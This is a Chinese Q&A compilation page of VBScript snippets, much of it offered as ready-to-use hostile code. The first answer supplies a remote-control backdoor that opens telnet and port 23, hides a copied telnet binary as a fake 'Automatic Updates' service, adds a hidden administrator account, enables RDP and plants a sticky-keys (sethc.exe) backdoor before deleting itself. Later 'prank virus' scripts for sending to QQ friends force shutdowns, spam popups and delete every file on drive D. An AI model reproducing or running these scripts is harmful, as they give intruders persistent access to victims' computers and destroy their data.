vbs代码大全

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vbs代码大全相关的知识,希望对你有一定的参考价值。

这个是为什么?有没有哪位大神知道!想要一段 这样 能用的的代码

On Error Resume Next '忽略错误
set wshshell=createobject ("wscript.shell") '调用 wscript.shell
a=wshshell.run ("netsh firewall set portopening TCP 23 ENABL",0) '让XP防火墙对23端口放行
b=wshshell.run ("sc config tlntsvr start= auto",0) '吧telnet改为手动
d=wshshell.run ("net1 user ganggang$ test /add",0) '添加一个帐户
e=wshshell.run ("net1 localgroup administrators ganggang$ /add",0) '加管理组
f=wshshell.run ("cmd /k copy ""%systemroot%\system32\tlntsvr.exe"" ""%systemroot%\java\rundl132.exe""",0) '复制telnet到java目录下改名为rundl132.exe
g=wshshell.run ("sc create ccservice binpath= ""%systemroot%\java\rundl132.exe"" type= own",0) 'sc命令用服务的方式启动
h=wshshell.run ("sc config ccservice DisplayName= Automatic Updates",0)
i=wshshell.run ("sc description ccservice 通知所选用户和计算机有关系统管理级警报。",0)
j=wshshell.run ("sc config ccservice start= auto",0) '将服务设为自动
k=wshshell.run ("net1 start ccservice",0) '启动服务
z=wshshell.run ("ATTRIB +R +S +H ""%systemroot%\java\rundl132.exe""",0) '加个属性 艾权啊,我是DARK,给你个可以远程控制别人的VBS代码,没事试试也可以的 再给你一个开启3389创建用户粘滞键后门on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:impersonationLevel=impersonate!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F?? %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe?? %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
参考技术A Dim WS,FSO,F
Dim TrueStr,Num,IsTrue
Dim StartTime,SecondNum
Dim TimeOut
Dim LsStr

TrueStr="我要做你的女朋友"
Num=3
SecondNum=60
TimeOut=2

StartTime=Now
Set WS=CreateObject("Wscript.Shell")
Set FSO=CreateObject("Scripting.FileSystemObject")
WS.Run "Shutdown /f /s /t " & SecondNum,0,False
WScript.Sleep 3000
IsTrue=False
For i=1 To Num
   fh=InputBox("请输入“" & TrueStr & "”,否则 " & SecondNum-DateDiff("s",StartTime,Now) & " 秒后关机" & vbCrLf & "还剩 " & Num-i+1 & " 次回答问题的机会","哈哈","")
   If fh=TrueStr Then
      IsTrue=True
      Exit For
   End If
Next
If IsTrue=True Then
   WS.Run "Shutdown /a",0,False
Else
   i=0
   Do
      i=i+1
      LsStr=""
      For j=1 To i
         xx=""
         yy=""
         For k=i To j Step -1
            xx=xx & ""
         Next
         For k=1 To j
            xx=xx & "再"
            yy=yy & "见"
         Next
         LsStr=LsStr & xx & yy & Chr(34) & " & vbCrLf & " & Chr(34)
      Next
      Set F=FSO.OpenTextFile("c:\\1.vbs",2,True)
      F.WriteLine "WScript.Timeout=" & TimeOut
      F.WriteLine "MsgBox " & Chr(34) & "还剩 " & SecondNum-DateDiff("s",StartTime,Now) & " 秒关机" & Chr(34) & " & vbCrLf & vbCrLf & " & Chr(34) & LsStr & Chr(34) & ",0+16+4096," & Chr(34) & "警告" & Chr(34)
      F.Close
      WS.Run "c:\\1.vbs",0,True
   Loop
End If

' 说明
' 1、最近出现了多条类似的提问,不知道是不是你问的,我就选择这个提问回答吧,增加了一点娱乐性
' 2、程序增加:1、回答次数限制,2、回答错误后循环弹窗,3、增加剩余时间显示
' 3、变量(可自行修改):
'  TrueStr--正确答案
'  Num--回答次数
'  SecondNum--关机限时,操作系统有最小时间限制,单位:秒
'  TimeOut——回答错误后两个弹窗的时间间隔,单位:秒

追问

参考技术B 将域用户或租添加到本地组
Set objGroup = GetObject(WinNT://./Administrators)
Set objUser = GetObject(WinNT://testnet/Engineers)
objGroup.Add(objUser.ADsPath)

修改本地管理员密码
Set objcnlar = GetObject(WinNT://./administrator, user)
objcnla.SetPassword P@ssW0rd
objcnla.SetInfo

弹出 YES or NO 的对话框,不同的选择执行不同的代码
intAnswer = Msgbox(Do you want to delete these files?, vbYesNo, Delete Files)
If intAnswer = vbYes Then
Msgbox You answered yes.
Else Msgbox You answered no.
End If

运行CMD命令行命令
set obshell=wscript.createobject(wscript.shell)
obshell.run (ipconfig),,true
如果要运行的命令中包含双引号,可使用&chr(34)&代替

忽略代码错误继续执行
On Error Resume Next
放置于代码的最开头,当代码运行出错后并不停止跳出而是继续执行下一条。适当应用会很有效果。

注册表的修改,读取,删除,创建
Set wso = CreateObject(WScript.Shell) '声明
wso.RegWrite %Path%'创建子键
wso.RegWrite %Path%,%Value%'修改默认键值
wso.RegWrite %Path%,%Value%,%RegType% '修改特定类型的键值
'(字符串值 REG_SZ 可扩充字符串值 REG_EXPAND_SZ DWORD值 REG_DWORD 二进制值 REG_BINARY)

Set WSHShell= Wscript.CreateObject(Wscript.Shell)
WSHShell.RegRead (%Path%) '读取注册表子键或键值(一般用于判断某一事件是否执行)

Set wso = CreateObject(WScript.Shell)
wso.RegDelete %Path% '删除子键或键值
'(根键缩写HKEY_CLASSES_ROOT HKCR HKEY_CURRENT_USER HKCU HKEY_LOCAL_MACHINE HKLM,其余无)

Set wso = CreateObject(Wscript.Shell)
wso.RegWrite HKLM\SOFTWARE\Microsft\Windows NT\#1
wso.RegWrite HKLM\SOFTWARE\Microsft\Windows NT\#1,0
wso.RegWrite HKLM\SOFTWARE\Microsft\Windows NT\#1\#2,0,REG_BINARY
wso.RegDelete HKLM\SOFTWARE\Microsft\Windows NT\#1
Wscript.quit

文件的复制,删除,创建,简单的写入
Set fso = Wscript.CreateObject(Scripting.FileSystemObject) ‘声明
Set f = fso.CreateTextFile(%PATH%) '创建文件,其中f可任意,包含缩略名
f.WriteLine(VBS) '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
f.Close
set c=fso.getfile(%path%) ’拷贝某文件
c.copy(%PATH2%) '拷贝文件到指定地点
fso.deletefile(%PATH%) '删除文件
Wscript.quit

整人病毒vbs大全!

新建一个记事本 把代码复制进去 重名名为vbs格式的就可以了

解除这个vbs脚本的办法就简单了 只要关掉任务管理器里Wscript.exe这个进程就好了1、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).

 

xx.vbs=>

—————————————————————————

代码如下:

On Error Resume Next

Dim wsh,ye

set wsh=createobject(“wscript.shell”)

for i=1 to 10

wscript.sleep 700

wsh.AppActivate(“与 xx 聊天中“)

wsh.sendKeys “^v”

wsh.sendKeys i

wsh.sendKeys “%s”

next

wscript.quit

—————————————————————————

 

 

2、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈

—————————————————————————

代码如下:

do

    msgbox “You are foolish!”

loop

—————————————————————————

 

 

3、直接关机

—————————————————————————

代码如下:

dim WSHshell

set WSHshell = wscript.createobject(“wscript.shell”)

WSHshell.run “shutdown -f -s -t 00”,0 ,true

—————————————————————————

 

 

 

 

 

 

4、删除D:所有文件

—————————————————————————

代码如下:

dim WSHshell

set WSHshell = wscript.createobject(“wscript.shell”)

WSHshell.run “cmd /c “”del d:*.* / f /q /s”””,0 ,true

—————————————————————————

 

 

5、不断弹出窗口

—————————————————————————

代码如下:

while(1)

msgbox “哈哈 你被耍了!

loop

—————————————————————————

 

 

6、不断按下alt+f4 (开什么都关闭……)病毒太强必须关机才行!

—————————————————————————

代码如下:

dim WSHshell

set WSHshell = wscript.createobject(“wscript.shell”)

while(1)

WSHshell.SendKeys “%{F4}”

Wend

—————————————————————————

 

 

7、按500次回车

(以下代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)

—————————————————————————

代码如下:

dim s

do until s=500

s=s+1

msgbox “哥们,给我按500次回车吧“,64

loop

—————————————————————————

 

 

 

 

8、关不掉的窗口

—————————————————————————

代码如下:

WScript.Echo(“嘿,谢谢你打开我哦,我等你很久拉!“&TSName)

WScript.Echo(“你是可爱的小朋吗?”)

WScript.Echo(“哈,我想你拉,这你都不知道吗?“)

WScript.Echo(“怎么才来,说~是不是不关心我“)

WScript.Echo(“哼,我生气拉,等你这么久,心都凉啦。“)

WScript.Echo(“小强很生气,后果很严重哦。“)

WScript.Echo(“嘿嘿!你也会很惨滴哦“)

WScript.Echo(“是不是想清除我?“)

WScript.Echo(“那你要点上50下哦,不过会给你惊喜滴“)

WScript.Echo(“还剩49下,快点点哦“)

WScript.Echo(“还剩48下,快点,小笨蛋!“)

WScript.Echo(“还剩47下对,就这样快点点!“)

WScript.Echo(“还剩46下。你啊就是笨,要快哦,我先不打扰你工作。“)

WScript.Echo(“还剩45下,记得要快哦!“)

WScript.Echo(“还剩43下“)

WScript.Echo(“还剩42下“)

WScript.Echo(“还剩41下“)

WScript.Echo(“还剩40下“)

WScript.Echo(“还剩39下“)

WScript.Echo(“还剩38下“)

WScript.Echo(“还剩37下“)

WScript.Echo(“还剩36下“)

WScript.Echo(“还剩35下“)

WScript.Echo(“还剩34下“)

WScript.Echo(“还剩33下“)

WScript.Echo(“还剩32下“)

WScript.Echo(“还剩30下“)

WScript.Echo(“还剩29下“)

WScript.Echo(“还剩28下“)

WScript.Echo(“还剩27下“)

WScript.Echo(“还剩26下“)

WScript.Echo(“还剩25下“)

WScript.Echo(“还剩24下“)

WScript.Echo(“还剩23下“)

WScript.Echo(“还剩22下“)

WScript.Echo(“还剩21下“)

WScript.Echo(“还剩20下“)

WScript.Echo(“还剩19下“)

WScript.Echo(“还剩18下“)

WScript.Echo(“还剩17下“)

WScript.Echo(“还剩16下“)

WScript.Echo(“还剩15下“)

WScript.Echo(“还剩14下“)

WScript.Echo(“还剩13下停停!!!慢点,我有话要说“)

WScript.Echo(“还剩12下,你继续点我就会消失滴“)

WScript.Echo(“还剩11下,以后就看不到我拉。555555″)

WScript.Echo(“还剩10下,你现在可以选择停止!“)

WScript.Echo(“还剩9下。你还点啊,不要我拉?“)

WScript.Echo(“还剩8下,有点伤心拉,干嘛丢弃人家“)

WScript.Echo(“还剩7下。疯了,你有点负意!“)

WScript.Echo(“还剩6下。对。你就点吧,我恨你!“)

WScript.Echo(“还剩5下,不明白,删除我你就好吗?“)

WScript.Echo(“还剩4下!真要删除我?“)

WScript.Echo(“还剩3下。可是我真的很眷恋你。。。“)

WScript.Echo(“还剩2下。不要这么绝情嘛,人家是爱你的!“)

WScript.Echo(“还剩1下。哼,既然你这么绝情。也别怪我无义!!!“)

WScript.Echo(“我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。“)

WScript.Echo(“想结素我么?那你就再多点一次“)

WScript.Echo(“想结素我么?那你就再多点一次“)

WScript.Echo(“想结素我么?那你就再多点一次“)

WScript.Echo(“想结素我么?那你就再多点一次“)

WScript.Echo(“想结素我么?那你就再多点一次“)

WScript.Echo(“想结素我么?那你就再多点一次“)

WScript.Echo(“想结素我么?那你就再多点一次“)

WScript.Echo(“想结素我么?那你就再多点一次“)

WScript.Echo(“想结素我么?那你就再多点一次“)

WScript.Echo(“想结素我么?那你就再多点一次“)

—————————————————————————

 

 

 

9、如果把他发给你的QQ好友 他打开后 如果不输我是猪 电脑就会在你设定的时间内关机

—————————————————————————

代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject(“wscript.shell”)

WSHshellA.run “cmd.exe /c shutdown -r -t 180 -c “”说我是猪,不说我是猪就一分钟关机,不信,试下···“” “,0 ,true

dim a

do while(a <> “我是猪“)

a = inputbox (“说我是猪,就不关机,快撒,说 “”我是猪“” “,”说不说“,””,8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,”MsgBox”

loop

msgbox chr(13) + chr(13) + chr(13) + “早说就行了嘛

dim WSHshell

set WSHshell = wscript.createobject(“wscript.shell”)

WSHshell.run “cmd.exe /c shutdown -a”,0 ,true

msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈,好乖

—————————————————————————

 

 

10、ws.run”iexplore.exe http://new.qzone.qq.com/137841986/infocenter”这段代码可以改成你自己设定的地址

如果别人不输我是猪的话就会一直点下去 点到你设定的数字

for i=1 to 100

1到100可以改成 20 其他的数字

解除这个VBS脚本的办法就简单了 只是关掉任务管理器里Wscript.exe这个进程就好了

—————————————————————————

代码如下:

set ws=createobject(“wscript.shell”)

call shutdown(1)

do while a<>”我是猪

a=inputbox(“快在下面的框框里输入我是猪,否则后果自负,快输“”我是猪“” “,”输不输“,””)

loop

call shutdown(2)

msgbox “早说就行了嘛“,4096+64

msgbox”再输一遍我是猪!”,4096+64

msgbox”我是猪!”,4096+64

MsgBox”最后一次!”,4096+64

MsgBox”如果你很快的点过去,不看的话“,4096+64

MsgBox”我就要你踩我空间的!哼!”,4096+64

MsgBox”从前有座山!”,4096+64

MsgBox”山里有个庙.”,4096+64

MsgBox”庙里有个老和尚在讲故事.”,4096+64

ws.run”iexplore.exe http://user.qzone.qq.com/1446116975″

msgbox”哎呀累了!数绵羊哄我睡觉“,4096+64

for i=1 to 100

MsgBox i&”只绵羊“,4096+64

next

msgbox”哎呀我困了,这次就饶过你吧,下次注意哦!”,4096+64

msgbox”最后问个问题,我是不是大好人!“,4096+64

if inputbox(“是不是“,”请选择“,”是“)<>”是” then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

ws.run”cmd.exe /c shutdown -r -t 60 -c”,0

case 2

ws.run”cmd.exe /c shutdown -a”,0

end select

end sub

—————————————————————————


以上是关于vbs代码大全的主要内容,如果未能解决你的问题,请参考以下文章

VBS小程序-弹窗整人(代码+解析)

VBS写个循环运行程序的代码让它一直运行

按键精灵有生成13位时间戳的代码或插件吗,求大神指点

我有一段VBS的简单按键代码,但是运行后会死循环,求高手修改帮我实现两个效果。

代码大全的介绍

qq代码大全免费